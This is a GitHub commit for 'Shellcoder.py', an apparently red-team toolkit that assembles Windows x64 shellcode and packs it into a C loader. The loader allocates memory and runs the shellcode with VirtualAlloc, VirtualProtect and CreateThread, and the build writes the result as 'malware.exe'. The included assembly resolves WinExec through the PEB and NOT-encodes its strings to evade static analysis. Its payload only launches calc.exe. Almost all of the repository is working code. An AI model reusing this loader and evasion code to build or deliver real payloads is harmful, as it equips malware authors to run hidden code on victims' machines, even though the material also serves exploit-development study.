| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
0 parents commit fb20ede
9 files changed
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,2 @@ | |||
| 1 | + out/ | ||
| 2 | + out | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,20 @@ | |||
| 1 | + # Shellcoder.py | ||
| 2 | + | ||
| 3 | + Write your shellcode in Assembly and execute it with one command! | ||
| 4 | + | ||
| 5 | + This script helps automate the shellcode testing process. It takes an Assembly file with the shellcode (`shellcode.asm`), compiles it into machine code (NASM), generates a payload in C with that, and pastes it into the `loader.c` file. Finally, the prepared C file is compiled using MSVC. With this script you go from Assembly shellcode to executable file with one command! | ||
| 6 | + | ||
| 7 | + ## Usage | ||
| 8 | + | ||
| 9 | + Shellcoder most probably should be used on Windows because of the MSVC requirement. | ||
| 10 | + | ||
| 11 | + ```powershell | ||
| 12 | + # Run script | ||
| 13 | + python shellcoder.py | ||
| 14 | + ``` | ||
| 15 | + | ||
| 16 | + ## External dependencies | ||
| 17 | + | ||
| 18 | + - Python 3 | ||
| 19 | + - NASM (Netwide Assembler) | ||
| 20 | + - Visual Studio 2022 | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,18 @@ | |||
| 1 | + #include <windows.h> | ||
| 2 | + | ||
| 3 | + void main() { | ||
| 4 | + void* exec; | ||
| 5 | + BOOL rv; | ||
| 6 | + HANDLE th; | ||
| 7 | + DWORD oldprotect = 0; | ||
| 8 | + | ||
| 9 | + // Shellcode | ||
| 10 | + unsigned char payload[] = ":PAYLOAD:"; | ||
| 11 | + unsigned int payload_len = 205; | ||
| 12 | + exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | ||
| 13 | + RtlMoveMemory(exec, payload, payload_len); | ||
| 14 | + rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect); | ||
| 15 | + th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); | ||
| 16 | + WaitForSingleObject(th, -1); | ||
| 17 | + | ||
| 18 | + } | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,18 @@ | |||
| 1 | + #include <windows.h> | ||
| 2 | + | ||
| 3 | + void main() { | ||
| 4 | + void* exec; | ||
| 5 | + BOOL rv; | ||
| 6 | + HANDLE th; | ||
| 7 | + DWORD oldprotect = 0; | ||
| 8 | + | ||
| 9 | + // Shellcode | ||
| 10 | + unsigned char payload[] = "\x64\x86\x1\x0\xce\x8b\x9a\x66\x9\x1\x0\x0\xa\x0\x0\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\xcd\x0\x0\x0\x3c\x0\x0\x0\x9\x1\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x20\x0\x50\x60\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x1\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x8\x8b\x14\xb\x4c\x1\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x1\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x1\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x1\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\xc\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x1\xc7\x48\x89\xd6\xf3\xa6\x74\x5\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x4\x44\x41\x8b\x4\x82\x4c\x1\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x7\x48\xb8\xf\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x8\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6\x2e\x66\x69\x6c\x65\x0\x0\x0\x0\x0\x0\x0\xfe\xff\x0\x0\x67\x1\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2e\x61\x73\x6d\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x1\x0\x0\x0\x3\x1\xcd\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2e\x61\x62\x73\x6f\x6c\x75\x74\x0\x0\x0\x0\xff\xff\x0\x0\x3\x0\x0\x0\x0\x0\x4\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x69\x6e\x63\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x0\x0\x0\x0\xf\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x61\x70\x69\x73\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x1b\x0\x0\x0\x67\x65\x74\x61\x70\x69\x61\x64\x64\x72\x0\x72\x65\x73\x6f\x6c\x76\x65\x61\x64\x64\x72\x0"; | ||
| 11 | + unsigned int payload_len = 205; | ||
| 12 | + exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | ||
| 13 | + RtlMoveMemory(exec, payload, payload_len); | ||
| 14 | + rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect); | ||
| 15 | + th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); | ||
| 16 | + WaitForSingleObject(th, -1); | ||
| 17 | + | ||
| 18 | + } | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,96 @@ | |||
| 1 | + ; Compile & get shellcode from Kali: | ||
| 2 | + ; nasm -f win64 popcalc.asm -o popcalc.o | ||
| 3 | + ; for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done | ||
| 4 | + ; Get kernel32.dll base address | ||
| 5 | + xor rdi, rdi ; RDI = 0x0 | ||
| 6 | + mul rdi ; RAX&RDX =0x0 | ||
| 7 | + mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB | ||
| 8 | + mov rbx, [rbx+0x18] ; RBX = Address_of_LDR | ||
| 9 | + mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll | ||
| 10 | + mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll | ||
| 11 | + mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll | ||
| 12 | + mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) | ||
| 13 | + mov r8, rbx ; RBX & R8 = &kernel32.dll | ||
| 14 | + | ||
| 15 | + ; Get kernel32.dll ExportTable Address | ||
| 16 | + mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader | ||
| 17 | + add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader | ||
| 18 | + xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add | ||
| 19 | + add cx, 0x88ff | ||
| 20 | + shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 | ||
| 21 | + mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable | ||
| 22 | + add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable | ||
| 23 | + | ||
| 24 | + ; Get &AddressTable from Kernel32.dll ExportTable | ||
| 25 | + xor r10, r10 | ||
| 26 | + mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable | ||
| 27 | + add r10, r8 ; R10 = &AddressTable | ||
| 28 | + | ||
| 29 | + ; Get &NamePointerTable from Kernel32.dll ExportTable | ||
| 30 | + xor r11, r11 | ||
| 31 | + mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable | ||
| 32 | + add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) | ||
| 33 | + | ||
| 34 | + ; Get &OrdinalTable from Kernel32.dll ExportTable | ||
| 35 | + xor r12, r12 | ||
| 36 | + mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable | ||
| 37 | + add r12, r8 ; R12 = &OrdinalTable | ||
| 38 | + | ||
| 39 | + jmp short apis | ||
| 40 | + | ||
| 41 | + ; Get the address of the API from the Kernel32.dll ExportTable | ||
| 42 | + getapiaddr: | ||
| 43 | + pop rbx ; save the return address for ret 2 caller after API address is found | ||
| 44 | + pop rcx ; Get the string length counter from stack | ||
| 45 | + xor rax, rax ; Setup Counter for resolving the API Address after finding the name string | ||
| 46 | + mov rdx, rsp ; RDX = Address of API Name String to match on the Stack | ||
| 47 | + push rcx ; push the string length counter to stack | ||
| 48 | + loop: | ||
| 49 | + mov rcx, [rsp] ; reset the string length counter from the stack | ||
| 50 | + xor rdi,rdi ; Clear RDI for setting up string name retrieval | ||
| 51 | + mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] | ||
| 52 | + add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll | ||
| 53 | + mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) | ||
| 54 | + repe cmpsb ; Compare strings at RDI & RSI | ||
| 55 | + je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API | ||
| 56 | + incloop: | ||
| 57 | + inc rax | ||
| 58 | + jmp short loop | ||
| 59 | + | ||
| 60 | + ; Find the address of GetProcAddress by using the last value of the Counter | ||
| 61 | + resolveaddr: | ||
| 62 | + pop rcx ; remove string length counter from top of stack | ||
| 63 | + mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API> | ||
| 64 | + mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] | ||
| 65 | + add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress | ||
| 66 | + push rbx ; place the return address from the api string call back on the top of the stack | ||
| 67 | + ret ; return to API caller | ||
| 68 | + | ||
| 69 | + apis: ; API Names to resolve addresses | ||
| 70 | + ; WinExec | String length : 7 | ||
| 71 | + xor rcx, rcx | ||
| 72 | + add cl, 0x7 ; String length for compare string | ||
| 73 | + mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec | ||
| 74 | + not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis | ||
| 75 | + shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll | ||
| 76 | + push rax | ||
| 77 | + push rcx ; push the string length counter to stack | ||
| 78 | + call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable | ||
| 79 | + mov r14, rax ; R14 = Kernel32.WinExec Address | ||
| 80 | + | ||
| 81 | + ; UINT WinExec( | ||
| 82 | + ; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 | ||
| 83 | + ; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL | ||
| 84 | + ; ); | ||
| 85 | + xor rcx, rcx | ||
| 86 | + mul rcx ; RAX & RDX & RCX = 0x0 | ||
| 87 | + ; calc.exe | String length : 8 | ||
| 88 | + push rax ; Null terminate string on stack | ||
| 89 | + mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe" | ||
| 90 | + not rax | ||
| 91 | + ;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163 | ||
| 92 | + push rax ; RSP = "calc.exe",0x0 | ||
| 93 | + mov rcx, rsp ; RCX = "calc.exe",0x0 | ||
| 94 | + inc rdx ; RDX = 0x1 = SW_SHOWNORMAL | ||
| 95 | + sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) | ||
| 96 | + call r14 ; Call WinExec("calc.exe", SW_HIDE) | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,102 @@ | |||
| 1 | + #!/usr/bin/env python3 | ||
| 2 | + # | ||
| 3 | + # Shellcoder.py : | ||
| 4 | + # | ||
| 5 | + # Author: Print3M (https://github.com/Print3M) | ||
| 6 | + # | ||
| 7 | + # This script helps automate the shellcode testing process. | ||
| 8 | + # It takes an Assembly file with shellcode, compiles | ||
| 9 | + # it into machine code (NASM), generates a payload in C with that, | ||
| 10 | + # and pastes it into the loader C file. Finally, the prepared C file | ||
| 11 | + # is compiled using MSVC. With this script you go from Assembly | ||
| 12 | + # shellcode to executable file with one command! | ||
| 13 | + # | ||
| 14 | + # External dependencies: | ||
| 15 | + # - Python 3 | ||
| 16 | + # - NASM (Netwide Assembler) | ||
| 17 | + # - Visual Studio 2022 | ||
| 18 | + | ||
| 19 | + import subprocess | ||
| 20 | + import os | ||
| 21 | + import sys | ||
| 22 | + | ||
| 23 | + # Directory with output files | ||
| 24 | + OUT_DIR = "out" | ||
| 25 | + | ||
| 26 | + # Utility files | ||
| 27 | + SHELLCODE_INPUT_FILE = "shellcode.asm" | ||
| 28 | + SHELLCODE_OUTPUT_FILE = f"{OUT_DIR}\\shellcode.bin" | ||
| 29 | + LOADER_INPUT_FILE = "loader.c" | ||
| 30 | + LOADER_OUTPUT_FILE = f"{OUT_DIR}\\malware.c" | ||
| 31 | + | ||
| 32 | + # String to be replaced by generated payload | ||
| 33 | + PAYLOAD_STRING = ":PAYLOAD:" | ||
| 34 | + | ||
| 35 | + # Name of final binary output file | ||
| 36 | + BINARY_OUTPUT_FILE = f"{OUT_DIR}\\malware.exe" | ||
| 37 | + | ||
| 38 | + # Batch script with Visual Studio compiler environment variables | ||
| 39 | + MSVC_BATCH_SCRIPT = "C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat" | ||
| 40 | + | ||
| 41 | + | ||
| 42 | + def is_cmd_available(cmd: str): | ||
| 43 | + try: | ||
| 44 | + subprocess.call(cmd, text=True) | ||
| 45 | + except FileNotFoundError: | ||
| 46 | + return False | ||
| 47 | + | ||
| 48 | + return True | ||
| 49 | + | ||
| 50 | + | ||
| 51 | + def assert_cmd(cmd: str): | ||
| 52 | + if (is_cmd_available(cmd)): | ||
| 53 | + return | ||
| 54 | + | ||
| 55 | + print(f"[!] command not found: {cmd}", file=sys.stderr) | ||
| 56 | + sys.exit(-1) | ||
| 57 | + | ||
| 58 | + | ||
| 59 | + if __name__ == "__main__": | ||
| 60 | + # Check if NASM is available | ||
| 61 | + assert_cmd("nasm") | ||
| 62 | + | ||
| 63 | + # Prepare output directory | ||
| 64 | + os.makedirs(OUT_DIR, exist_ok=True) | ||
| 65 | + | ||
| 66 | + # Compile Assembly | ||
| 67 | + subprocess.run( | ||
| 68 | + ["nasm", "-f", "win64", SHELLCODE_INPUT_FILE, "-o", SHELLCODE_OUTPUT_FILE], check=True | ||
| 69 | + ) | ||
| 70 | + | ||
| 71 | + print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_OUTPUT_FILE}") | ||
| 72 | + | ||
| 73 | + # Prepare C array with shellcode payload | ||
| 74 | + payload = "" | ||
| 75 | + with open(SHELLCODE_OUTPUT_FILE, "rb") as f: | ||
| 76 | + bytes = bytearray(f.read()) | ||
| 77 | + | ||
| 78 | + size = len(bytes) | ||
| 79 | + | ||
| 80 | + for byte in bytes: | ||
| 81 | + payload += "\\" + hex(byte).lstrip("0") | ||
| 82 | + | ||
| 83 | + print(f"[+] Payload size: {size} bytes") | ||
| 84 | + | ||
| 85 | + # Inject payload into loader source code | ||
| 86 | + with open(LOADER_INPUT_FILE, "r") as f: | ||
| 87 | + loader = f.read() | ||
| 88 | + | ||
| 89 | + loader = loader.replace(PAYLOAD_STRING, payload) | ||
| 90 | + | ||
| 91 | + with open(LOADER_OUTPUT_FILE, "w") as f: | ||
| 92 | + f.write(loader) | ||
| 93 | + | ||
| 94 | + print(f"[+] {LOADER_INPUT_FILE} -> {LOADER_OUTPUT_FILE}") | ||
| 95 | + | ||
| 96 | + # Compile final binary | ||
| 97 | + print(f"[*] MSVC: Compilation of {LOADER_OUTPUT_FILE} \n") | ||
| 98 | + | ||
| 99 | + cmd = f'"{MSVC_BATCH_SCRIPT}" && cd "{OUT_DIR}" && cl.exe "../{LOADER_OUTPUT_FILE}"' | ||
| 100 | + proc = subprocess.run(cmd, check=True, text=True) | ||
| 101 | + | ||
| 102 | + print(f"\n[+] Output binary ({BINARY_OUTPUT_FILE}) is ready to be executed!") | ||
| Back | FazBrowse Home | New Git URL |
0 commit comments